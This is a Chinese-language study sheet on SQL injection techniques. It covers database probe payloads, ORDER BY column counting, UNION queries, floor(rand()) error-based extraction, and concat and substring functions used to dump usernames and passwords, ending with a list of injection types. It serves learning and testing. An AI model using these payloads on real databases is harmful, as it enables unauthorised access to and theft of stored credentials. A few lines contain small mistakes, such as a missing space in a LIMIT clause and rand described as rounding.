1. 常见数据库注入函数:
MYSQL: and length((user))>10
ACCESS: and (select count() from MSysAccessObject)>0
MSSQL: and (select count()from sysobjects)>0
ORDER BY句子:
select id,username,password from users where id = 1 order by 1,2,3,4依次测试,从而判断有几列存在,得知列数,拿union来联合查询
UNION查询:
联合查询,大部分数据库都支持联合查询(UNION)
MYSQL,SQL sever,Oracle
UNION合并两个查询结果集的基本规则
所有查询中的列数基本相同
数据类型必须兼容
sql_sever常用函数:
as : 别名
顺便说几个常见的:
rand: 遵循四舍五入把原值转化为指定小数位数
floor: 向下舍入为指定小数位数
ceiling: 向上舍入为指定小数位数
rand: 返回一个介于 0 到 1(不包括 0 和 1)之间的伪随机 float 值
group by: GROUP BY必须得配合聚合函数来用,根据字段来分类使用
select count(*) from [table] group by concat('~',([真正的查询语句]),'~',floor(rand(0)*2))
或
select count(*),concat_ws(char(32,58,32),([查询语句]),floor(rand(0)*2)) as a from [table] group by a
原理:简单来说就是count等聚合函数之后,如果使用分组语句,就会把查询的一部分以错误的形式显示出来
2. 字符串连接函数
concat函数,返回结果为链接参数的字符串。如果任何一个参数为null,则返回值为null。
注意:
如果结果为连接参数产生的字符串。如果有任何一个参数为null,则返回为null
如果自变量中含有任意一个二进制字符串,则结果为一个二进制字符串
concat()将其连接成一个字符串,因此不会复合XPATH_STRING的个数,从而出现格式错误
concat concat_ws group_concat
select concat(id,'|',username,'|',password)from users;以分隔符拼接出来结果
select concat_ws('|',id,username,password)from users;
select group_concat('\n',username)from users;
3. 字符串截取函数:
locate:返回第一个字符串首次在第二个字符串出现的位置 # 正确为1,错误为0
select substr((select username from users limit0,1),1,2); # 从user取出dump字段,截取2位,就是du
length(database()) #判断数据库的长度
left(database(),1) = 's' #前一位是否为
select user() regexp 'r' #正则表达式匹配
select user like 'ro%' #匹配符
ascii() #返回指定数字对应的ascii码字符函数
substr() #截取从pos位置开始到最后的所有str字符串
select ascii (substr(select database(),1,1)); #截取数据库库名第一个字母是否为security,ascii('s')=115
4. 常用函数
聚合函数:SQL注入最多的函数
user()查看当前Mysql登录用户名 database():查看当前使用Mysql数据库名
version():查看当前Mysq版本
扩展limit关键字 limit m,n 从m行开始,到m+n行
5. 常见注入叫法:
post注入:注入字段在post数据中
cookie注入:注入字段在cookie数据中
延时注入:使用数据库延时特性注入
搜索注入:注入处为搜索的地点
base64注入:注入字符串需要经过base64的加密